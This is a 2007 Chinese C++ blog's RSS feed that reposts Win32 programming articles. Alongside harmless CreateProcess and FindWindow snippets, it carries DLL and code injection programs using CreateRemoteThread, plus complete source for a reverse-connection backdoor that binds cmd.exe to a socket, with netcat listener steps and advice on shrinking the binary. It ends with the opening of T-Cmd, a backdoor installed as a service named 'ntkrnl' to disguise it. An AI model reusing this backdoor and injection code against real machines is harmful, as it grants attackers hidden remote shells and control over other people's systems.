            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CloseHandle( hProcess );<br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#008000">// 失败处理</font><br>
            &nbsp;&nbsp;&nbsp;&nbsp; }<br>
            }<br>
            <font color="#0000ff">else</font><br>
            {<br>
            &nbsp;&nbsp;&nbsp;&nbsp; CloseHandle( hProcess );<br>
            &nbsp;&nbsp;&nbsp;&nbsp;<font color="#008000">// 失败处理</font><br>
            }<br>
            <font color="#008000">// 使目标进程调用LoadLibrary，加载DLL</font><br>
            DWORD dwID;<br>
            LPVOID pFunc = LoadLibraryA;<br>
            HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpBuf, 0, &amp;dwID );</font></code></td>
        </tr>
    </tbody>
</table>
</p>
<p><font face="新宋体">需要说的有两点，一是由于我要在目标进程中为ANSI字符串来分配内存空间，所以这里凡是和目标进程相关的部
分，都明确使用了后缀为&#8220;A&#8221;的API函数——当然，如果要使用Unicode字符串的话，可以换作后缀是&#8220;W&#8221;的API；第二，在这里
LoadLibrary的指针我是取的本进程的LoadLibraryA的地址，这是因为LoadLibraryA/LoadLibraryW位于
kernel32.dll之中，而Win32下每个应用程序都会把kernel32.dll加载到进程地址空间中一个固定的地址，所以这里的函数地址在
Target.exe中也是有效的。</font></p>
<p><font face="新宋体">在调用LoadLibrary完毕之后，我们就可以做收尾工作了：</font></p>
<p>
<t></t>
<t></t>
<table class="codetable" border="0" cellspacing="1">
    <tbody>
        <tr>
            <td><code><font face="新宋体"><font color="#008000">// 等待LoadLibrary加载完毕</font><br>
            WaitForSingleObject( hThread, INFINITE );<br>
            <font color="#008000">// 释放目标进程中申请的空间</font><br>
            VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );<br>
            CloseHandle( hThread );<br>
            CloseHandle( hProcess );</font></code></td>
        </tr>
    </tbody>
</table>
</p>
<p><font face="新宋体">在此解释一下WaitForSingleObject一句。由于我们是通过CreateRemoteThread在目标进程中另外开辟了一个LoadLibrary的线程，所以我们必须等待这个线程运行完毕才能够释放那段先前申请的内存。</font></p>
<p><font face="新宋体">好了，现在你可以尝试着整理这些代码并编译运行。运行Target.exe，然后开启一个有模块查看功能的进程查看工具（在这里我使用我的July）来查看Target.exe的模块，你会发现在注入DLL之前，Target.exe中并没有DLL.dll的存在：</font></p>
<p><font face="新宋体"><img src="http://www.titilima.cn/pics/remote2.gif" border="0"></font></p>
<p><font face="新宋体">在调用了注入代码之后，DLL.dll就位于Target.exe的模块列表之中了：</font></p>
<p><font face="新宋体"><img src="http://www.titilima.cn/pics/remote3.gif" border="0"></font></p>
<p><br>
<font face="新宋体"><strong> 矛盾相生</strong> <br>
<br>
</font></p>
<p><font face="新宋体">记得2004年初我将QQ尾巴病毒成功仿真后，有很多网友询问我如何才能杀毒，不过我都没有回答——因为当时我研究的重点并非病毒的寄生特性。这一寄生特性直到今天可以说我才仿真完毕，那么，我就将解毒的方法也一并公开吧。</font></p>
<p><font face="新宋体">和DLL的注入过程类似，只不过在这里使用了两个API：GetModuleHandle和FreeLibrary。出于篇幅考虑，我略去了与注入部分相似或相同的代码：</font></p>
<p>
<t></t>
<t></t>
<table class="codetable" border="0" cellspacing="1">
    <tbody>
        <tr>
            <td><code><font face="新宋体"><font color="#008000">// 使目标进程调用GetModuleHandle，获得DLL在目标进程中的句柄</font><br>
            DWORD dwHandle, dwID;<br>
            LPVOID pFunc = GetModuleHandleA;<br>
            HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpBuf, 0, &amp;dwID );<br>
            <font color="#008000">// 等待GetModuleHandle运行完毕</font><br>
            WaitForSingleObject( hThread, INFINITE );<br>
            <font color="#008000">// 获得GetModuleHandle的返回值</font><br>
            GetExitCodeThread( hThread, &amp;dwHandle );<br>
            <font color="#008000">// 释放目标进程中申请的空间</font><br>
            VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );<br>
            CloseHandle( hThread );<br>
            <font color="#008000">// 使目标进程调用FreeLibrary，卸载DLL</font><br>
            pFunc = FreeLibrary;<br>
            hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)dwHandle, 0, &amp;dwID );<br>
            <font color="#008000">// 等待FreeLibrary卸载完毕</font><br>
            WaitForSingleObject( hThread, INFINITE );<br>
            CloseHandle( hThread );<br>
            CloseHandle( hProcess );</font></code></td>
        </tr>
    </tbody>
</table>
</p>
<p><font face="新宋体">用这个方法可以卸载一个进程中的DLL模块，当然包括那些非病毒体的DLL。所以，这段代码还是谨慎使用为好。</font></p>
<p><font face="新宋体">在完成卸载之后，如果没有别的程序加载这个DLL，你就可以将它删除了。</font></p>
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28536.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-22 00:14 <a href="http://www.cppblog.com/mydriverc/articles/28536.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>向其他进程注入代码的三种方法</title><link>http://www.cppblog.com/mydriverc/articles/28535.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sat, 21 Jul 2007 16:06:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28535.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28535.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28535.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28535.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28535.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 原版地址：http://www.codeproject.com/threads/winspy.asp?df=100&amp;forumid=16291&amp;select=1025152&amp;msg=1025152下载WinSpy&nbsp;作者：Robert Kuster翻译：袁晓辉（hyzs@sina.com）摘要：如何向其他线程的地址空间中注入代码并在这个线程的上下...&nbsp;&nbsp;<a href='http://www.cppblog.com/mydriverc/articles/28535.html'>阅读全文</a><img src ="http://www.cppblog.com/mydriverc/aggbug/28535.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-22 00:06 <a href="http://www.cppblog.com/mydriverc/articles/28535.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> findwindow 函数</title><link>http://www.cppblog.com/mydriverc/articles/28509.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sat, 21 Jul 2007 10:18:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28509.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28509.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28509.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28509.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28509.html</trackback:ping><description><![CDATA[DllImport("user32.dll")]
<br>
&nbsp;private&nbsp;static&nbsp;extern&nbsp;IntPtr&nbsp;FindWindow(string&nbsp;lpClassName,&nbsp;string&nbsp;lpWindowName);
<br>
这里再声明一下FindWindowEx&nbsp;函数。
<br>
<br>
&nbsp;//Open&nbsp;Up&nbsp;blank&nbsp;Notepad&nbsp;First&nbsp;!
<br>
&nbsp;string&nbsp;lpszParentClass&nbsp;=&nbsp;"Notepad";
<br>
&nbsp;string&nbsp;lpszParentWindow&nbsp;=&nbsp;"Untitled&nbsp;-&nbsp;Notepad";
<br>
&nbsp;string&nbsp;lpszClass&nbsp;=&nbsp;"Edit";
<br>
<br>
<br>
&nbsp;IntPtr&nbsp;ParenthWnd&nbsp;=&nbsp;new&nbsp;IntPtr(0);
<br>
&nbsp;IntPtr&nbsp;hWnd&nbsp;=&nbsp;new&nbsp;IntPtr(0);
<br>
&nbsp;ParenthWnd&nbsp;=&nbsp;FindWindow(lpszParentClass,lpszParentWindow);
<br>
&nbsp;if&nbsp;(ParenthWnd.Equals(IntPtr.Zero))&nbsp;&nbsp;
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine("Notepad&nbsp;Not&nbsp;Running");
<br>
&nbsp;else
<br>
&nbsp;{
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hWnd&nbsp;=&nbsp;FindWindowEx(ParenthWnd,hWnd,lpszClass,"");
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(hWnd.Equals(IntPtr.Zero))&nbsp;&nbsp;
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine("What&nbsp;the&nbsp;F???&nbsp;Notepad&nbsp;doesn't&nbsp;have&nbsp;an&nbsp;edit&nbsp;component&nbsp;?");
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine("Notepad&nbsp;Window:&nbsp;"&nbsp;+&nbsp;ParenthWnd.ToString());
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine("Edit&nbsp;Control:&nbsp;"&nbsp;+&nbsp;hWnd.ToString());
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
<br>
&nbsp;}
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28509.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-21 18:18 <a href="http://www.cppblog.com/mydriverc/articles/28509.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一份进程注入的代码</title><link>http://www.cppblog.com/mydriverc/articles/28505.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sat, 21 Jul 2007 09:45:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28505.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28505.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28505.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28505.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28505.html</trackback:ping><description><![CDATA[// Injection.cpp : 定义控制台应用程序的入口点。 <br>// <br><br>#include "stdafx.h" <br>#include "Injection.h" <br>#ifdef _DEBUG <br>#define new DEBUG_NEW <br>#endif <br><br>// 唯一的应用程序对象 <br><br>CWinApp theApp； <br><br>using namespace std； <br><br>typedef struct _RemotePara{//参数结构 <br>   char pMessageBox[12]； <br>   DWORD dwMessageBox； <br>}RemotePara； <br>//远程线程 <br>DWORD __stdcall ThreadProc (RemotePara *lpPara){ <br>   typedef int (__stdcall *MMessageBoxA)(HWND,LPCTSTR,LPCTSTR,DWORD)；//定义MessageBox函数 <br>   MMessageBoxA myMessageBoxA； <br>   myMessageBoxA =(MMessageBoxA) lpPara-&gt;dwMessageBox ；//得到函数入口地址 <br>   myMessageBoxA(NULL,lpPara-&gt;pMessageBox ,lpPara-&gt;pMessageBox,0)；//call <br>   return 0； <br>} <br>void EnableDebugPriv()；//提升应用级调试权限 <br><br>int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) <br>{ <br>    const DWORD THREADSIZE=1024*4； <br>   DWORD byte_write； <br>   EnableDebugPriv()；//提升权限 <br>   HANDLE hWnd = ::OpenProcess (PROCESS_ALL_ACCESS,FALSE,760)； <br>   if(!hWnd)return 0； <br>   void *pRemoteThread =::VirtualAllocEx(hWnd,0,THREADSIZE,MEM_COMMIT| MEM_RESERVE,PAGE_EXECUTE_READWRITE)； <br>   if(!pRemoteThread)return 0； <br>   if(!::WriteProcessMemory(hWnd,pRemoteThread,&amp;ThreadProc,THREADSIZE,0)) <br>   return 0； <br><br>   //再付值 <br>   RemotePara myRemotePara； <br>   ::ZeroMemory(&amp;myRemotePara,sizeof(RemotePara))； <br>   HINSTANCE hUser32 = ::LoadLibrary ("user32.dll")； <br>   myRemotePara.dwMessageBox =(DWORD) ::GetProcAddress (hUser32 , "MessageBoxA")； <br>   strcat(myRemotePara.pMessageBox,"hello\0")； <br>   //写进目标进程 <br>
RemotePara *pRemotePara =(RemotePara *) ::VirtualAllocEx (hWnd
,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE)；//注意申请空间时的页面属性 <br>   if(!pRemotePara)return 0； <br>   if(!::WriteProcessMemory (hWnd ,pRemotePara,&amp;myRemotePara,sizeof myRemotePara,0))return 0； <br><br>   //启动线程 <br>   HANDLE hThread = ::CreateRemoteThread (hWnd ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&amp;byte_write)； <br>   if(!hThread){ <br>      return 0； <br>   } <br>    return 0； <br>} <br><br>void EnableDebugPriv( void ) <br>{ <br>HANDLE hToken； <br>LUID sedebugnamevalue； <br>TOKEN_PRIVILEGES tkp； <br><br>if ( ! OpenProcessToken( GetCurrentProcess(), <br>TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken ) ) <br>return； <br>if ( ! LookupPrivilegevalue( NULL, SE_DEBUG_NAME, &amp;sedebugnamevalue ) ){ <br>CloseHandle( hToken )； <br>return； <br>} <br>tkp.PrivilegeCount = 1； <br>tkp.Privileges[0].Luid = sedebugnamevalue； <br>tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED； <br>if ( ! AdjustTokenPrivileges( hToken, FALSE, &amp;tkp, sizeof tkp, NULL, NULL ) ) <br>CloseHandle( hToken )； <br>}
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28505.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-21 17:45 <a href="http://www.cppblog.com/mydriverc/articles/28505.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>反向连接的一个后门程序</title><link>http://www.cppblog.com/mydriverc/articles/28504.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sat, 21 Jul 2007 09:29:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28504.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28504.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28504.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28504.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28504.html</trackback:ping><description><![CDATA[		大家再来看一下下面的这个程序,:<br>#include &lt;winsock2.h&gt;<br>#pragma comment(lib,"ws2_32")<br><br>int main(int argc, char **argv)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;WSADATA wsaData; <br>&nbsp;&nbsp;&nbsp;&nbsp;SOCKET hSocket; <br>&nbsp;&nbsp;&nbsp;&nbsp;STARTUPINFO si; <br>&nbsp;&nbsp;&nbsp;&nbsp;PROCESS_INFORMATION pi; <br>&nbsp;&nbsp;&nbsp;&nbsp;struct sockaddr_in adik_sin; <br><br>&nbsp;&nbsp;&nbsp;&nbsp;memset(&amp;adik_sin,0,sizeof(adik_sin)); <br>&nbsp;&nbsp;&nbsp;&nbsp;memset(&amp;si,0,sizeof(si)); <br>&nbsp;&nbsp;&nbsp;&nbsp;WSAStartup(MAKEWORD(2,0),&amp;wsaData); <br>&nbsp;&nbsp;&nbsp;&nbsp;hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); <br>&nbsp;&nbsp;&nbsp;&nbsp;adik_sin.sin_family=AF_INET; <br>&nbsp;&nbsp;&nbsp;&nbsp;adik_sin.sin_port=htons(atoi(argv[2])); <br>&nbsp;&nbsp;&nbsp;&nbsp;adik_sin.sin_addr.s_addr=inet_addr(argv[1]); <br>&nbsp;&nbsp;&nbsp;&nbsp;if(0!=connect(hSocket,(struct sockaddr*)&amp;adik_sin,sizeof(adik_sin)))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;<br>&nbsp;&nbsp;&nbsp;&nbsp;si.cb=sizeof(si); <br>&nbsp;&nbsp;&nbsp;&nbsp;si.dwFlags=STARTF_USESTDHANDLES; <br>&nbsp;&nbsp;&nbsp;&nbsp;si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket; <br>&nbsp;&nbsp;&nbsp;&nbsp;CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&amp;si,&amp;pi); <br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>}<br>它的功能很简单,就是反向连接.<br>先用NC监听端口:<br>Nc.exe &#8211;lp 5555<br>再以命令行执行该程序:<br>Sameple.exe 127.0.0.1 5555<br>最终获取一个CmdShell<br><br>我们先用Release版本生成, 最终生成大小23 K. 我们再用TinyFrame生成一次, 最终大小: 1.50 KB, 很诱人了对不对. 呵呵, 下面就说一说安装及使用过程.
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28504.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-21 17:29 <a href="http://www.cppblog.com/mydriverc/articles/28504.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> CreateProcess输出重定向</title><link>http://www.cppblog.com/mydriverc/articles/28503.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sat, 21 Jul 2007 09:27:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28503.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28503.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28503.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28503.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28503.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp; CWnd* pEdit=GetDlgItem(IDC_IP);<br>&nbsp;&nbsp; &nbsp;CString str;<br>&nbsp;&nbsp; &nbsp;pEdit-&gt;GetWindowText(str);<br><br>&nbsp;&nbsp; &nbsp;char cmdLine[MAX_PATH];<br>&nbsp;&nbsp; &nbsp;wsprintf(cmdLine,"ping.exe %s",str);<br>&nbsp;&nbsp; &nbsp;SECURITY_ATTRIBUTES sa={sizeof(sa),NULL,TRUE};<br>&nbsp;&nbsp; &nbsp;SECURITY_ATTRIBUTES *psa=NULL;<br>&nbsp;&nbsp; &nbsp;DWORD dwShareMode=FILE_SHARE_READ|FILE_SHARE_WRITE;<br>&nbsp;&nbsp; &nbsp;OSVERSIONINFO osVersion={0};<br>&nbsp;&nbsp; &nbsp;osVersion.dwOSVersionInfoSize=sizeof(osVersion);<br>&nbsp;&nbsp; &nbsp;<br>&nbsp;&nbsp;&nbsp; if(GetVersionEx(&amp;osVersion)){<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(osVersion.dwPlatformId==VER_PLATFORM_WIN32_NT){<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; psa=&amp;sa;<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; dwShareMode|=FILE_SHARE_DELETE;<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; }<br><br>&nbsp;&nbsp;&nbsp; HANDLE hConsoleRedirect=CreateFile(<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; "D:\\NetStatus.txt",<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; GENERIC_WRITE,<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; dwShareMode,<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; psa,<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; OPEN_ALWAYS,<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; FILE_ATTRIBUTE_NORMAL,<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; NULL<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; );<br>&nbsp;&nbsp;&nbsp; ASSERT(hConsoleRedirect!=INVALID_HANDLE_VALUE);<br>&nbsp;&nbsp;&nbsp; STARTUPINFO s={sizeof(s)};<br>&nbsp;&nbsp;&nbsp; s.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;<br><br>&nbsp;&nbsp;&nbsp; s.hStdOutput=hConsoleRedirect;//输出重定向<br>&nbsp;&nbsp;&nbsp; s.wShowWindow=SW_HIDE;//隐藏窗口<br><br>&nbsp;&nbsp;&nbsp; s.dwFlags=STARTF_USESTDHANDLES;<br>&nbsp;&nbsp;&nbsp; s.hStdOutput=hConsoleRedirect;<br><br>&nbsp;&nbsp;&nbsp; PROCESS_INFORMATION pi={0};<br><br>&nbsp;&nbsp;&nbsp; if(CreateProcess(NULL,cmdLine,NULL,NULL,TRUE,NULL,NULL,NULL,&amp;s,&amp;pi))<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp; &nbsp; WaitForSingleObject(pi.hProcess,INFINITE);<br>&nbsp;&nbsp;&nbsp; &nbsp; CloseHandle(pi.hProcess);<br>&nbsp;&nbsp;&nbsp; &nbsp; CloseHandle(pi.hThread);<br>&nbsp;&nbsp;&nbsp; }<br><br>&nbsp;&nbsp;&nbsp; CloseHandle(hConsoleRedirect);<br>&nbsp;&nbsp;&nbsp; CFile myFile("D:\\NetStatus.txt",CFile::modeRead);<br>&nbsp;&nbsp;&nbsp; ASSERT(myFile.m_hFile!=NULL);<br><br>&nbsp;&nbsp;&nbsp; char *pszNetStatus=new char[myFile.GetLength()+1];<br>&nbsp;&nbsp;&nbsp; ZeroMemory(pszNetStatus,myFile.GetLength()+1);<br>&nbsp;&nbsp;&nbsp; myFile.Read(pszNetStatus,myFile.GetLength()+1);<br><br>&nbsp;&nbsp;&nbsp; myFile.Close();<br>&nbsp;&nbsp;&nbsp; DeleteFile("D:\\NetStatus.txt");<br>&nbsp;&nbsp;&nbsp; GetDlgItem(IDC_STATUS)-&gt;SetWindowText(pszNetStatus);<br>&nbsp;&nbsp;&nbsp; delete pszNetStatus;<br>&nbsp;<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28503.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-21 17:27 <a href="http://www.cppblog.com/mydriverc/articles/28503.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>CreateProcess使用心得</title><link>http://www.cppblog.com/mydriverc/articles/28502.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sat, 21 Jul 2007 09:25:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28502.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28502.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28502.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28502.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28502.html</trackback:ping><description><![CDATA[<p>1、我们用CreateProcess执行一个外部程序时，怎样才能得到这个程序的输入输出呢？CreateProcess已经替我们准备好了，在CreateProcess的STARTUPINFO参数里有这样几个hStdInput、hStdOutput、hStdError东东，用来为创建的进程指定输入输出，例如用CreateFile创建一个文件，接着把得到的文件句柄指定给hStdOutput，并且把dwFlags的值设为USESTDHANDLES，这样外部程序的输出就会输到这个文件里。注意：CreateFile的SECURITY_ATTRIBUTES.bInheritHandle参数要设为TRUE。</p>
<p>?</p>
<p>2、在Create系列函数中通常都会有一个叫SECURITY_ATTRIBUTES的参数，</p>
<p>&nbsp;SECURITY_ATTRIBUTES sa;</p>
<p>&nbsp; sa.nLength = sizeof(SECURITY_ATTRIBUTES);</p>
<p>&nbsp; sa.lpSecurityDescriptor = NULL;</p>
<p>&nbsp;sa.bInheritHandle = TRUE;</p>
<p>&nbsp;如果把bInheritHandle的值设为TRUE，意思就是它所创建出来的东西是可以被其他的子进程使用的，例如用CreatePipe创建的管道可以用在CreateProcess创建的进程中。</p>
<p><br></p>
<p>3、用CreateProcess创建子进程时通过lpCurrentDirectory参数指定子进程运行的路径。</p>
<br><img src ="http://www.cppblog.com/mydriverc/aggbug/28502.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/mydriverc/" target="_blank">旅途</a> 2007-07-21 17:25 <a href="http://www.cppblog.com/mydriverc/articles/28502.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>浅析Win2K/XP服务与后门技术-3 [转]</title><link>http://www.cppblog.com/mydriverc/articles/28501.html</link><dc:creator>旅途</dc:creator><author>旅途</author><pubDate>Sat, 21 Jul 2007 09:08:00 GMT</pubDate><guid>http://www.cppblog.com/mydriverc/articles/28501.html</guid><wfw:comment>http://www.cppblog.com/mydriverc/comments/28501.html</wfw:comment><comments>http://www.cppblog.com/mydriverc/articles/28501.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/mydriverc/comments/commentRss/28501.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/mydriverc/services/trackbacks/28501.html</trackback:ping><description><![CDATA[六、附录&nbsp;<br><br>　　1.SC简介&nbsp;<br><br>　　SC是一个与NT服务控制器，服务进程进行通信的控制台程序，它可以查询和修改已安装服务的数据库。&nbsp;<br><br>　　语法：sc&nbsp;&lt;server&gt;&nbsp;[command]&nbsp;[service&nbsp;name]&nbsp;&lt;option1&gt;&nbsp;&lt;option2&gt;...&nbsp;，选项&lt;server&gt;为&#8220;\\ServerName&#8221;的形式。&nbsp;<br><br>　　主要的命令包括：query,config,qc,delete,create,GetDisplayName,GetKeyName,EnumDepend等。&nbsp;<br><br>　　2.T-Cmd&nbsp;v1.0&nbsp;源代码&nbsp;<br><br>#include&nbsp;&lt;windows.h&gt;&nbsp;<br>#include&nbsp;&lt;stdio.h&gt;&nbsp;<br><br>#define&nbsp;BUFFER_SIZE&nbsp;1024&nbsp;<br><br>typedef&nbsp;struct&nbsp;<br>{&nbsp;<br>HANDLE&nbsp;hPipe;&nbsp;<br>SOCKET&nbsp;sClient;&nbsp;<br>}SESSIONDATA,*PSESSIONDATA;&nbsp;<br><br>typedef&nbsp;struct&nbsp;PROCESSDATA&nbsp;<br>{&nbsp;<br>HANDLE&nbsp;hProcess;&nbsp;<br>DWORD&nbsp;dwProcessId;&nbsp;<br>struct&nbsp;PROCESSDATA&nbsp;*next;&nbsp;<br>}PROCESSDATA,*PPROCESSDATA;&nbsp;<br><br>HANDLE&nbsp;hMutex;&nbsp;<br>PPROCESSDATA&nbsp;lpProcessDataHead;&nbsp;<br>PPROCESSDATA&nbsp;lpProcessDataEnd;&nbsp;<br>SERVICE_STATUS&nbsp;ServiceStatus;&nbsp;<br>SERVICE_STATUS_HANDLE&nbsp;ServiceStatusHandle;&nbsp;<br><br>void&nbsp;WINAPI&nbsp;CmdStart(DWORD,LPTSTR&nbsp;*);&nbsp;<br>void&nbsp;WINAPI&nbsp;CmdControl(DWORD);&nbsp;<br><br>DWORD&nbsp;WINAPI&nbsp;CmdService(LPVOID);&nbsp;<br>DWORD&nbsp;WINAPI&nbsp;CmdShell(LPVOID);&nbsp;<br>DWORD&nbsp;WINAPI&nbsp;ReadShell(LPVOID);&nbsp;<br>DWORD&nbsp;WINAPI&nbsp;WriteShell(LPVOID);&nbsp;<br><br>BOOL&nbsp;ConnectRemote(BOOL,char&nbsp;*,char&nbsp;*,char&nbsp;*);&nbsp;<br>void&nbsp;InstallCmdService(char&nbsp;*);&nbsp;<br>void&nbsp;RemoveCmdService(char&nbsp;*);&nbsp;<br><br>void&nbsp;Start(void);&nbsp;<br>void&nbsp;Usage(void);&nbsp;<br><br>int&nbsp;main(int&nbsp;argc,char&nbsp;*argv[])&nbsp;<br>{&nbsp;<br>SERVICE_TABLE_ENTRY&nbsp;DispatchTable[]&nbsp;=&nbsp;<br>{&nbsp;<br>{"ntkrnl",CmdStart},&nbsp;<br>{NULL&nbsp;,NULL&nbsp;}&nbsp;<br>};&nbsp;<br><br>if(argc==5)&nbsp;<br>{&nbsp;<br>if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE)&nbsp;<br>{&nbsp;<br>return&nbsp;-1;&nbsp;<br>}&nbsp;<br><br>if(!stricmp(argv[1],"-install"<a href="http://www.blogcn.com/images/wink.gif" target="_blank"><img src="http://www.blogcn.com/images/wink.gif" onload="if(this.width>screen.width/2)this.style.width=screen.width/2;" 